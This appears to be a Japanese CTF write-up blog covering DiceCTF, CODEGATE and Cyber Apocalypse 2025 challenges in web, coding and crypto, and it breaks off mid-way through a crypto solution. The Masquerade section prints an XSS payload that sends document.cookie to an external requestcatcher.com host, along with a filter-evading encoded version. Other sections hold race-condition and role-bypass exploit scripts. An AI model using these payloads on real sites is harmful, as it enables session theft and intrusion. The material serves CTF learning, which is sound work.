DiceCTF 2025 Quals Writeup

[web] cookie recipes v3

Mmmmmmm...

ソースコード有り。クッキーを焼いて10億個以上集めるとフラグが得られるWebアプリケーション。クッキーを焼く際にnumberパラメータの長さが2文字以下に制限されている。この制限をどうバイパスするかがポイント。

app.post('/bake', (req, res) => {
    const number = req.query.number
    if (!number) {
        res.end('missing number')
    } else if (number.length <= 2) {
        cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
        res.end(cookies.get(req.user).toString())
    } else {
        res.end('that is too many cookies')
    }
})

app.post('/deliver', (req, res) => {
    const current = cookies.get(req.user) ?? 0
    const target = 1_000_000_000
    if (current < target) {
        res.end(`not enough (need ${target - current}) more`)
    } else {
        res.end(process.env.FLAG)
    }
})

配列パラメータの悪用

Express.jsのクエリパラメータ処理では、?number[]=1e9のように配列形式でパラメータを送ると、req.query.numberは配列オブジェクト['1e9']になる。このときnumber.lengthは配列の長さを表すため、1となり、2文字以下の制限を満たす。この状態でNumber(number)が実行されると、JavaScriptで良い感じに解釈してくれて、1000000000(10億)になる。

POST /bake?number[]=1e9 HTTP/1.1
Host: [redacted]

以上のようにやれば、10億個買えてフラグがPOST /deliverで手に入る。

[web] pyramid

Would you like to buy some supplements?

ソースコード有り。ネズミ講(ピラミッドスキーム)を模したwebアプリでコインを稼ぐ問題。問題にアクセスすると、サプリメントを販売するサイトが表示される。このサイトでは以下の機能がある。

  • ユーザー登録(紹介コード付きで登録可能)
  • 紹介コードの生成
  • 紹介ユーザー数をコインに換金
  • 100,000,000,000コイン以上でフラグを購入可能

通常の方法では十分なコインを集めるのは時間がかかりすぎるので、非同期処理の脆弱性を利用して自己紹介をして、指数関数的にお金を増やすということをする。

1. ユーザー登録の非同期処理を悪用した自己紹介

ユーザー登録で見慣れぬ形を見つけた。

app.post('/new', (req, res) => {
    const token = random()

    const body = []
    req.on('data', Array.prototype.push.bind(body))
    req.on('end', () => {
        const data = Buffer.concat(body).toString()
        const parsed = new URLSearchParams(data)
        const name = parsed.get('name')?.toString() ?? 'JD'
        const code = parsed.get('refer') ?? null

        // referrer receives the referral
        const r = referrer(code)
        if (r) { r.ref += 1 }

        users.set(token, {
            name,
            code,
            ref: 0,
            bal: 0,
        })
    })

    res.header('set-cookie', `token=${token}`)
    res.redirect('/')
})

非同期処理になっていて、Request Bodyを受け取る前に、set-cookieをしてredirect /を返している。つまり、ユーザー情報が保存される前にトークンを得ることができる。よって、以下の流れで自己紹介することができる。

  1. POST /newにRequest Header部分のみを送信するとレスポンスが返ってくるので取得して、止めておく(ソケットを維持)
  2. レスポンスにtokenが含まれているので、GET /codeを使って招待コードを取得する
  3. 手順1の続きとして、名前と手順2で得られた招待コードを渡すと、自分で自分を招待する形でユーザー登録ができる

これを根性実装すると以下のようになる。

import socket
import ssl
import time
import re
import httpx

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
context = ssl.create_default_context()

host = "[redacted]"
port = 443

s.connect((host, port))
ssl_sock = context.wrap_socket(s, server_hostname=host)

body = "name=same-chan&refer="
placeholder = "4e56977f932a272bda40c1c49b06ecfe"

request_headers = (
    f"POST /new HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(body)+len(placeholder)}\r\n"
    f"Connection: keep-alive\r\n"
    f"\r\n"
)
ssl_sock.sendall(request_headers.encode())

ssl_sock.settimeout(3.0)
response = ssl_sock.recv(4096)
response_str = response.decode('utf-8', errors='ignore')
token_match = re.search(r'set-cookie:\s*token=([^;\r\n]+)', response_str, re.IGNORECASE)
token = token_match.group(1)

headers = { "Cookie": f"token={token}" }
response = httpx.get(f"https://{host}/code", headers=headers, timeout=10)
response.raise_for_status()
res = response.text.strip()
token_match = re.search(r'<strong>([0-9a-f]*)</strong>', res, re.IGNORECASE)
code = token_match.group(1)

body += code
ssl_sock.sendall(body.encode())

print(f"{token=}")
print(f"{code=}")
print(f"{body=}")

ssl_sock.close()

2. 換金処理の悪用

自己紹介の状態でGET /cashoutをすると、指数関数的にお金を増やすことができる。

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
    if (req.user) {
        const u = req.user
        const r = referrer(u.code)
        if (r) {
            [u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
        } else {
            [u.ref, u.bal] = [0, u.bal + u.ref]
        }
    }
    res.redirect('/')
})

これだと分かりにくいと思うので、自分が自分を招待したときの動作をシミュレートするコードで実験する。

var ur = 1;
var ub = 0;

for (let i = 0; i < 100; i++) {
    [ur, ur, ub] = [0, ur + ur / 2, ub + ur / 2];
    console.log(`ur: ${ur}, ub: ${ub}`);
}

これをnodeで動かすと、

...
ur: 2184164.40907457, ub: 2184163.40907457
ur: 3276246.613611855, ub: 3276245.613611855
ur: 4914369.920417783, ub: 4914368.920417783
ur: 7371554.880626675, ub: 7371553.880626675
ur: 11057332.320940012, ub: 11057331.320940012
ur: 16585998.48141002, ub: 16585997.48141002
ur: 24878997.72211503, ub: 24878996.72211503
ur: 37318496.583172545, ub: 37318495.583172545
ur: 55977744.87475882, ub: 55977743.87475882
ur: 83966617.31213823, ub: 83966616.31213823
ur: 125949925.96820734, ub: 125949924.96820734
ur: 188924888.952311, ub: 188924887.952311
ur: 283387333.4284665, ub: 283387332.4284665
ur: 425081000.1426997, ub: 425080999.1426997
ur: 637621500.2140496, ub: 637621499.2140496

となって、指数関数的に増えていくことが分かる。なので、自己紹介ユーザーを作ったら、適当に別のユーザーを招待して作って招待ポイントを数点手に入れたら、あとは、GET /cashoutを押しまくればよい。コインが指数関数的に増加し、100,000,000,000コインを超えたらフラグが買える。

CODEGATE 2025 CTF Quals Writeup

[web] Masquerade

Enjoy Masquerade with many roles!

ソースコード有り。複数の権限ロールを持つアプリで、管理者のcookieXSSで盗むことがゴール。3つ脆弱性があり、それをチェーンさせて解く。

1. 特殊文字を使ったロール制限バイパス

アプリケーションではユーザーが自分のロールを変更できるが、ADMINやINSPECTORといった特権ロールは制限されている。

const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];

function checkRole(role) {
    const regex = /^(ADMIN|INSPECTOR)$/i;
    return regex.test(role);
}

const setRole = (uuid, input) => {
    const user = getUser(uuid);
    
    if (checkRole(input)) return false;
    if (!role_list.includes(input.toUpperCase())) return false;
    
    users.set(uuid, { ...user, role: input.toUpperCase() });
    
    const updated = getUser(uuid);
    
    const payload = { uuid, ...updated }
    
    delete payload.password;
    
    const token = generateToken(payload);
    
    return token;
};

脆弱点はcheckRoleで検証をした後にtoUpperCaseに通されて最終的に処理されている所。つまり、toUpperCaseが使われたときに良い感じに変換されるような文字があれば、それを使ってロール変更ができる。ADMINとINSPECTORの両方にIが含まれているので、以下のようなスクリプトで使える文字を探す。

for(let i=256; i<70000; i++){
    var c = String.fromCharCode(i);
    var input = "adm" + c + "n"
    if (/^(ADMIN|INSPECTOR)$/i.test(input) == false && input.toUpperCase() === "ADMIN") {
        console.log(i)
        console.log(c)
    }
}

動かすと

305 ı
65841 ı

というのが見つかるので、Iの代わりにıというのを使えば、正規表現の検証を回避しながら、toUpperCaseでIが得られる。よって、ADMINになるにはadmın、INSPECTORになるにはınspectorを使えば良い。

2. DOMPurifyの読み込み失敗による脆弱性

admin.jsに攻撃してねというメッセージが書いてある。

// TODO : Testing HTML tag functionality for the "/post".
router.get('/test', (req, res) => {
    res.render('admin/test');
});

テンプレートファイルを見るとなぜか難読化してあり、解除すると以下のように、クエリストリングで受け取った入力を、DOMPurifyを通して表示している。

const urlSearch = new URLSearchParams(location.search);
const title = urlSearch.get('title');
const content = urlSearch.get('content');

if (!title && !content) {
  // error
} 
else {
  try {
    post_title.innerHTML = DOMPurify.sanitize(title);
    post_content.innerHTML = DOMPurify.sanitize(content);
  } catch {
    post_title.innerHTML = title;
    post_content.innerHTML = content;
  }
}

このコードの問題点は、DOMPurifyが例外を発生させた場合に、サニタイズなしで直接HTMLに入力値を反映してしまうこと。では、次はどのように例外を起こすかであるが、これはパスを利用する。

<script src="../js/purify.min.js"></script>

以上のように相対パスでDOMPurifyを読み込んでいるため、/admin/testとするのではなく/admin/test/として表示することで相対パスの階層を1つずらすことができ、DOMPurifyの読み込みを失敗させることができる。よって、/admin/test/?title=<img%20src%20onerror=alert(origin)>というのを試すとアラートが出る。

3. DOM Clobberingを使ったリダイレクト

Admin Botを見ると

await browser.setCookie(...cookies);

const page = await browser.newPage();

await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });

await delay(1000);

const button = await page.$('#delete');
await button.click();

await delay(1000);

のように/post/{post_id}にアクセスしてDELETEボタンを押してくれる。ここから、上の/admin/test/にリダイレクトさせる必要がある。/post/{post_id}のテンプレートを見ると以下のようになっている。

<div class="post-content">
    <%- post.content %>
</div>
...
<script nonce="<%= nonce %>">
    <% if (isOwner || isAdmin) { %>
        window.conf = window.conf || {
            deleteUrl: "/post/delete/<%= post.post_id %>"
        };
    <% } else { %>
        window.conf = window.conf || {
            deleteUrl: "/error/role"
        };
    <% } %>

...

    const deleteButton = document.querySelector("#delete");

    deleteButton.addEventListener("click", () => {
        location.href = window.conf.deleteUrl;
    });
</script>

location.href = window.conf.deleteUrlがどう見ても怪しい。しかも、window.conf = window.conf || { deleteUrl: "/post/delete/<%= post.post_id %>" };のように無かったら初期値を使うという感じになっていて、初期値が用意できれば任意のものが差し込めそうになっている。そして、<%- post.content %>でHTMLインジェクションができるという条件から…

DOM Clobberingをする!以下のようなタグを用意することでconf.deleteUrlを悪意あるURLに変更できる。

<iframe name=conf srcdoc="<a id='deleteUrl' href='悪意あるURL'></a>"></iframe>

ペイロードづくり

これで準備はできたので、攻撃ペイロードを作ろう。まずは、/admin/testで実行させるXSS payloadだが、

<img src onerror="window.location.href='https://456dfgklsdafklskor.requestcatcher.com/get?flag='+document.cookie">

これでいく。/admin/testで実行させる場合は

/admin/test/?title=%3Cimg%20src%20onerror%3D%22window%2Elocation%2Ehref%3D%27https%3A%2F%2F456dfgklsdafklskor%2Erequestcatcher%2Ecom%2Fget%3Fflag%3D%27%2Bdocument%2Ecookie%22%3E

こういう感じ。DOM ClobberingでこのURLに遷移させるためには

<iframe name=conf srcdoc="
  <a id='deleteUrl' href='/admin/test/?title=%3Cimg%20src%20onerror%3D%22window%2Elocation%2Ehref%3D%27https%3A%2F%2F456dfgklsdafklskor%2Erequestcatcher%2Ecom%2Fget%3Fflag%3D%27%2Bdocument%2Ecookie%22%3E'></a>
"></iframe>

このようにくるんでやればいい。だが、これだとソースコード中に書かれている

// In the actual code, a SPECIAL filter is prepared for here.
// if (content.match(filterRegex)) return res.status(403).json({ message: "Hacking Detected!" });

という謎検証に引っ掛かるので、srcdocの中身はHTML Entity変換できるんので

<iframe name=conf srcdoc="&#32;&#32;&lt;&#97;&#32;&#105;&#100;&equals;&apos;&#100;&#101;&#108;&#101;&#116;&#101;&#85;&#114;&#108;&apos;&#32;&#104;&#114;&#101;&#102;&equals;&apos;&sol;&#97;&#100;&#109;&#105;&#110;&sol;&#116;&#101;&#115;&#116;&sol;&quest;&#116;&#105;&#116;&#108;&#101;&equals;&percnt;&#51;&#67;&#105;&#109;&#103;&percnt;&#50;&#48;&#115;&#114;&#99;&percnt;&#50;&#48;&#111;&#110;&#101;&#114;&#114;&#111;&#114;&percnt;&#51;&#68;&percnt;&#50;&#50;&#119;&#105;&#110;&#100;&#111;&#119;&percnt;&#50;&#69;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&percnt;&#50;&#69;&#104;&#114;&#101;&#102;&percnt;&#51;&#68;&percnt;&#50;&#55;&#104;&#116;&#116;&#112;&#115;&percnt;&#51;&#65;&percnt;&#50;&#70;&percnt;&#50;&#70;&#52;&#53;&#54;&#100;&#102;&#103;&#107;&#108;&#115;&#100;&#97;&#102;&#107;&#108;&#115;&#107;&#111;&#114;&percnt;&#50;&#69;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#99;&#97;&#116;&#99;&#104;&#101;&#114;&percnt;&#50;&#69;&#99;&#111;&#109;&percnt;&#50;&#70;&#103;&#101;&#116;&percnt;&#51;&#70;&#102;&#108;&#97;&#103;&percnt;&#51;&#68;&percnt;&#50;&#55;&percnt;&#50;&#66;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&percnt;&#50;&#69;&#99;&#111;&#111;&#107;&#105;&#101;&percnt;&#50;&#50;&percnt;&#51;&#69;&apos;&gt;&lt;&sol;&#97;&gt;"></iframe>

のようにすると検証が通った。(/post/{post_id}/admin/testより厳しいCSP制限がかかっているんだが、metaタグでも遷移させることができてしまうので、それを防ぐための謎検証だろう)

攻撃手順

ペイロードも準備できたので、脆弱性を組み合わせて、以下の手順でフラグを取得する。

  1. 特殊文字を使ってロール制限をバイパスし、admınでADMINロールに変更する
  2. ADMIN権限を使って自分に書き込み権限(Write Permission)を付与する
  3. 再度特殊文字を使って、ınspectorでINSPECTORロールに変更する
  4. 上の攻撃ペイロードをポストして、管理者に踏ませる

管理者が踏むと、

  1. DOM Clobberingによりconf.deleteUrl/admin/test/?title=...に変更される
  2. 削除ボタンクリック時にこのURLへリダイレクトする
  3. /admin/test/?title=...ではDOMPurifyが例外を投げるためXSSが発生する
  4. XSSによって<img src onerror="window.location.href='https://456dfgklsdafklskor.requestcatcher.com/get?flag='+document.cookie">が実行される
  5. 管理者のcookieが外部サーバーに送信される

あとは送られてきたjwtトークンをデコードするとフラグが含まれている

Cyber Apocalypse CTF 2025 Writeups

[coding] ClockWork Gurdian

(0,0)からスタートしてEまで移動するが、0は通れて1は通れないので、最短距離を求めよと言う問題。BFSすればよい。ちなみに、与えられていたサンプルは間違っていたので注意。

from collections import deque

input_text = input()
board = eval(input_text)

def bfs(board):
    rows, cols = len(board), len(board[0])
    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
    queue = deque([(0, 0, 1)])  # (row, col, distance)
    board[0][0] = 1
    visited = set((0, 0))

    while queue:
        r, c, dist = queue.popleft()
        
        if board[r][c] == 'E':
            return dist
        
        for dr, dc in directions:
            nr, nc = r + dr, c + dc
            if 0 <= nr < rows and 0 <= nc < cols and (nr, nc) not in visited and (board[nr][nc] == 0 or board[nr][nc] == 'E'):
                visited.add((nr, nc))
                queue.append((nr, nc, dist + 1))
    
    return -1  # Return -1 if there is no path to 'E'

distance = bfs(board) - 1
print(distance)

[coding] Dragon Flight

長さNの配列と初期値が与えられるので、Q個の以下クエリに答える。

  • U i x i番目の要素をxに変更
  • Q l r [l,r]番目から任意の連続する部分列を取った時の値の総和の最大値を答える

何故か改行がスペースに変換されていて1hほど溶かした。許せぬ。愚直にやればよさそうな気もしたが、手が勝手にセグメントツリーを貼っていたので、ちょっとだけ高速化して出した。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std;
void _main(); int main() { _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
#define def 0
using V = int;
template<int NV> struct SegTree { //[l,r)
    V comp(V& l, V& r) { return l + r; };

    vector<V> val; SegTree() { val = vector<V>(NV * 2, def); }
    V get(int x, int y, int l = 0, int r = NV, int k = 1) {
        if (r <= x || y <= l)return def; if (x <= l && r <= y)return val[k];
        auto a = get(x, y, l, (l + r) / 2, k * 2);
        auto b = get(x, y, (l + r) / 2, r, k * 2 + 1);
        return comp(a, b);
    }
    void update(int i, V v) {
        i += NV; val[i] = v;
        while (i > 1) i >>= 1, val[i] = comp(val[i * 2], val[i * 2 + 1]);
    }
    V operator[](int x) { return get(x, x + 1); }
};
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/













int N, Q;
int A[1010];
SegTree<1<<10> st;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> Q;
    rep(i, 0, N) cin >> A[i];
    rep(i, 0, N) st.update(i, A[i]);
    rep(i, 0, Q) {
        char q; cin >> q;
        if (q == 'U') {
            int id, x; cin >> id >> x;
            id--;
            st.update(id, x);
        } else {
            int l, r; cin >> l >> r;
            l--;
            int ans = -inf;
            rep(ll, l, r) rep(rr, ll + 1, r + 1) {
                chmax(ans, st.get(ll, rr));
            }
            
            cout << ans << endl;
        }
    }
}

[coding] Dragon Fury

2次元配列と数値Tが与えられるので、各配列から1つずつ要素を取り出して総和がTになるような取り出し方を答える。全通り試せばよく、DFSで実装した。なお、サンプルは間違っている。

attacks = eval(input())
T = eval(input())

def dfs(arr, tot):
    i = len(arr)
    if i == len(attacks):
        if tot == T:
            print(arr)
            exit(0)
        else:
            return
    else:
        for nxt in attacks[i]:
            dfs(arr + [nxt], tot + nxt)

dfs([], 0)

[coding] Enchanted Cipher

暗号化された文字列と、暗号化に利用した数の配列が与えられる。暗号化方式は5文字毎に指定の数アルファベットをローテーションさせるというもの。逆計算が可能なので、逆計算を実装する。

plaintext = input()
n = eval(input())
shifts = eval(input())

def once(c):
    if c == 'a':
        return 'z'
    return chr(ord(c) - 1)

def rot(c, k):
    for _ in range(k):
        c = once(c)
    return c

i = 0
j = 0
ans = ""
for c in plaintext:
    if 'a' <= c and c <= 'z':
        ans += rot(c, shifts[i])
        j += 1
        if j == 5:
            i += 1
            j = 0
    else:
        ans += c

print(ans)

[coding] Summoners Incantation

配列が与えられる。ここから、隣接して要素を取らないように任意の部分集合を取ったときの総和の最大値を答える。動的計画法で解ける。

dp[idx] := idx番目の要素までの配列から条件に合うよう部分集合を取ったときの総和の最大値

更新するときは、以下のようにやる。(dpが1-indexedみたいになってて、Aが0-indexedなのでかなり読みにくいので注意)

  • dp[i] : 何も取らなかった
  • dp[i - 1] + A[i] : i番目を取ったので、1つ飛ばしたdpの値で更新

の2つの選択肢があるので、これのmaxで更新してやればよい。

A = eval(input())
n = len(A)

dp = [-1010101010] * (n + 1)
dp[0] = 0
dp[1] = A[0]

for i in range(1, n):
    dp[i + 1] = max(dp[i], dp[i - 1] + A[i])

print(dp[n])

[Crypto] Kewiri

The Grand Scholars of Eldoria have prepared a series of trials, each testing the depth of your understanding of the ancient mathematical arts. Those who answer wisely shall be granted insight, while the unworthy shall be cast into the void of ignorance. Will you rise to the challenge, or will your mind falter under the weight of forgotten knowledge? The instance might take 1-2 minutes to start.

楕円曲線に関する問題を次々解いていく問題。同じ問題・同じ値で出題されることもあるが、同じ問題・ランダムな値になっていることもあり、また、制限時間がシビアなので自動化は必要。

[1] How many bits is the prime p?

p = 21214334341047589034959795830530169972304000967355896041112297190770972306665257150126981587914335537556050020788061
ans1 = str(p.bit_length())

入力固定。ビット数はbit_length()で求められる。

[2] Enter the full factorization of the order of the multiplicative group in the finite field F_p in ascending order of factors (format: p0,e0_p1,e1_ ..., where pi are the distinct factors and ei the multiplicities of each factor)

有限体Fpの位数を素因数分解して、指定の形で答える。Fpの位数はp-1なので、これを素因数分解して答える。sagemathならfactorで素因数分解可能。

factor_p_1 = sorted(factor(p-1))
ans2 = "_".join([f"{p},{e}" for p, e in factor_p_1])

[3] For this question, you will have to send 1 if the element is a generator of the finite field F_p, otherwise 0.

17問出るので自動化して答えさせる。生成元であるかを判定する。ラグランジュの定理を使う。生成元であれば、部分群の位数は、元の群の位数の約数になっているはずなので、約数の累乗を試して単位元になったら、それは生成元。

def is_generator(x):
    for q in [q for q, _ in factor_p_1]:
        if pow(x, (p-1) // q, p) == 1:
            return "0"
    return "1"

for _ in range(17):
    x = int(sock.recvuntil("?")[:-1])
    sock.sendlineafter("> ", is_generator(x))

[4] What is the order of the curve defined over F_p?

この問題以降はa,bが与えられ、楕円曲線上での問題になる。

a = 408179155510362278173926919850986501979230710105776636663982077437889191180248733396157541580929479690947601351140
b = 8133402404274856939573884604662224089841681915139687661374894548183248327840533912259514444213329514848143976390134

楕円曲線の位数を答える問題。sagemathならすぐ答えられる。

ans4 = str(EllipticCurve(GF(p), [a, b]).order())

[5] Enter the full factorization of the order of the elliptic curve defined over the finite field F_{p3}. Follow the same format as in question 2

F_{p^3}上での楕円曲線を考えて、位数を計算し、素因数分解せよという問題。普通にsagemathで楕円曲線を作ってorderを計算させると一生終わらない。

この章はまだちゃんと理解しておらず、Claudeが出してきた式変換をほとんど鵜呑みにして解いているので注意。

Weil の定理を使うと、拡大体の位数を元の素体の位数とトレースから計算が可能。

 \displaystyle
\#E(\mathbb{F}_{p^3}) = p^3 + 1 - (t^3 - 3p t)

tはE(Fp)のトレースで、

 \displaystyle
t = p + 1 - \#E(\mathbb{F}_p)

と計算できるので、ここまでわかっている情報から以上を使えば位数を計算可能。位数の素因数分解も大変なのだが、

拡大体の楕円曲線の位数は、

  1. F_{p3}上の位数は元の位数N1と関連する因数を持つことがある
  2. p自身が拡大体の楕円曲線の位数の因数になることがある

らしく、やってみると今回はうまくいった。

order_p = EllipticCurve(GF(p), [a, b]).order()
t = p + 1 - order_p
order_p3 = p^3 + 1 - (t^3 - 3*p*t)
print(order_p3)

def efficient_factorization(N3, N1, p):
    factors = []
    
    if N3 % p == 0:
        count = 0
        while N3 % p == 0:
            N3 //= p
            count += 1
        factors.append((p, count))
    
    for q, e in factor(N1):
        if N3 % q == 0:
            count = 0
            while N3 % q == 0:
                N3 //= q
                count += 1
            factors.append((q, count))
    
    for i in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53]:
        if N3 % i == 0:
            count = 0
            while N3 % i == 0:
                N3 //= i
                count += 1
            factors.append((i, count))
    
    if N3 > 1:
        if is_prime(N3):
            factors.append((N3, 1))
        else:
            pass
    
    return "_".join([f"{p},{e}" for p, e in sorted(factors)])

ans5 = efficient_factorization(order_p3, order_p, p)
print(ans5)

何もわからんね。

[6] What is the value of d?

ECDLPを解け、という問題。条件は以下。

# The final trial awaits. You must uncover the hidden multiplier "d" such that A = d * G.
# ⚔️ The chosen base point G has x-coordinate: 107546349459651005975872325383826985515989511910775786764699593546253252508053539219972302088503050119092675418338771
# 🔮 The resulting point A has x-coordinate: 10950463717843814375205278636294792494701225369882994063093969457754683012877665538546537894814860175140875918843489

楕円曲線の位数を確認すると、

 \displaystyle
\#E(\mathbb{F}_p) = p

となっていたのでSSSA Attackが使える。ライブラリによっては計算が間に合わなかったが、別のライブラリを使うと間に合う。

G = E.lift_x(GF(p)(Gx))
A = E.lift_x(GF(p)(Ax))

# https://nightxade.github.io/ctf-writeups/writeups/2024/UofT-CTF-2024/crypto/clever-thinking.html
def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

d = SmartAttack(G, A, p)
ans6 = str(d)

理論は未だによく分からない所はあるが、実装はそんなに重くないのでシュッと書いてしまう方が良いのか。

ソルバ全体

from ptrlib import *

#p = int(sock.recvlineafter("p = "))
p = 21214334341047589034959795830530169972304000967355896041112297190770972306665257150126981587914335537556050020788061
ans1 = str(p.bit_length())

factor_p_1 = sorted(factor(p-1))
ans2 = "_".join([f"{p},{e}" for p, e in factor_p_1])

# 素因数qに対してg^((p-1)/q) != 1 (mod p)を見る
def is_generator(x):
    for q in [q for q, _ in factor_p_1]:
        if pow(x, (p-1) // q, p) == 1:
            return "0"
    return "1"
print(ans2)

a = 408179155510362278173926919850986501979230710105776636663982077437889191180248733396157541580929479690947601351140
b = 8133402404274856939573884604662224089841681915139687661374894548183248327840533912259514444213329514848143976390134
ans4 = str(EllipticCurve(GF(p), [a, b]).order())
# トレースから計算することにする
order_p = EllipticCurve(GF(p), [a, b]).order()
t = p + 1 - order_p
order_p3 = p^3 + 1 - (t^3 - 3*p*t)
print(order_p3)

def efficient_factorization(N3, N1, p):
    factors = []
    
    if N3 % p == 0:
        count = 0
        while N3 % p == 0:
            N3 //= p
            count += 1
        factors.append((p, count))
    
    for q, e in factor(N1):
        if N3 % q == 0:
            count = 0
            while N3 % q == 0:
                N3 //= q
                count += 1
            factors.append((q, count))
    
    for i in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53]:
        if N3 % i == 0:
            count = 0
            while N3 % i == 0:
                N3 //= i
                count += 1
            factors.append((i, count))
    
    if N3 > 1:
        if is_prime(N3):
            factors.append((N3, 1))
        else:
            pass
    
    return "_".join([f"{p},{e}" for p, e in sorted(factors)])

ans5 = efficient_factorization(order_p3, order_p, p)
print(ans5)

sock = remote("[redacted]", [redacted])
sock.debug = True

# [1] How many bits is the prime p? > 
sock.sendlineafter("> ", ans1)

# [2] Enter the full factorization of the order of the multiplicative group in the finite field F_p in ascending order of factors (format: p0,e0_p1,e1_ ..., where pi are the distinct factors and ei the multiplicities of each factor)
sock.sendlineafter("> ", ans2)

# [3] For this question, you will have to send 1 if the element is a generator of the finite field F_p, otherwise 0.
sock.recvuntil("otherwise 0.\n")
for _ in range(17):
    x = int(sock.recvuntil("?")[:-1])
    sock.sendlineafter("> ", is_generator(x))

# The scholars present a sacred mathematical construct, a curve used to protect the most guarded secrets of the realm. Only those who understand its nature may proceed.
# [4] What is the order of the curve defined over F_p? > 
sock.sendlineafter("> ", ans4)

# [5] Enter the full factorization of the order of the elliptic curve defined over the finite field F_{p^3}. Follow the same format as in question 2 > 
sock.sendlineafter("> ", ans5)

# The final trial awaits. You must uncover the hidden multiplier "d" such that A = d * G.
# ⚔️ The chosen base point G has x-coordinate: 107546349459651005975872325383826985515989511910775786764699593546253252508053539219972302088503050119092675418338771
# 🔮 The resulting point A has x-coordinate: 10950463717843814375205278636294792494701225369882994063093969457754683012877665538546537894814860175140875918843489
# [6] What is the value of d? > 
Gx = int(sock.recvlineafter("has x-coordinate: "))
Ax = int(sock.recvlineafter("has x-coordinate: "))

#E = EllipticCurve(GF(p), [a, b])
#Gs = E.lift_x(Gx, all=True)
#As = E.lift_x(Ax, all=True)

E = EllipticCurve(GF(p), [a, b])
print(Gx)
print(Ax)
G = E.lift_x(GF(p)(Gx))
A = E.lift_x(GF(p)(Ax))

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

d = SmartAttack(G, A, p)
ans6 = str(d)

sock.sendlineafter("> ", ans6)

sock.interactive()

まとめると以上で解ける。

[crypto] Traces

Long ago, a sacred message was sealed away, its meaning obscured by the overlapping echoes of its own magic. The careless work of an enchanter has left behind a flaw—a weakness hidden within repetition. With keen eyes and sharper wits, can you untangle the whispers of the past and restore the lost words?

ソースコードの大事な部分は以下。暗号化された会話が得られるサイトが与えられる。

    def encrypt(self, msg):
        encrypted_message = AES.new(self.key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(msg)
        return encrypted_message

AESのCTRモードで暗号化されて保存されるのだが、全ての会話で同じ鍵、同じカウンターが使われるので、同一のキーストリームが使われることになる。で、何をするかというと、キーストリームの1byteずつ全探索して、まともな文字列が出てくるように手動で根性復元していく。

from Crypto.Util.number import *
from Crypto.Util.strxor import *

messages = [
    "2c81690e1490568638f2b4a537d8",
    "2c81690e1490419d38edbfa638d19f",
    "2c81690e1490409c39fab0a830d892d9",
    "5a8a201e17df678533bfb9a13ccfdac2550fd984c00f69af0fd2368432dc447569293fa5b0b4867909a7c46beeba4baa75ae5553ac1fb8b6ea27fd2838166e7554ab50787d8cc8d2b449b96024d165ae09652a6a4037c14fbdddf2060676c1a8fb59419c20294ddaba87e3f7",
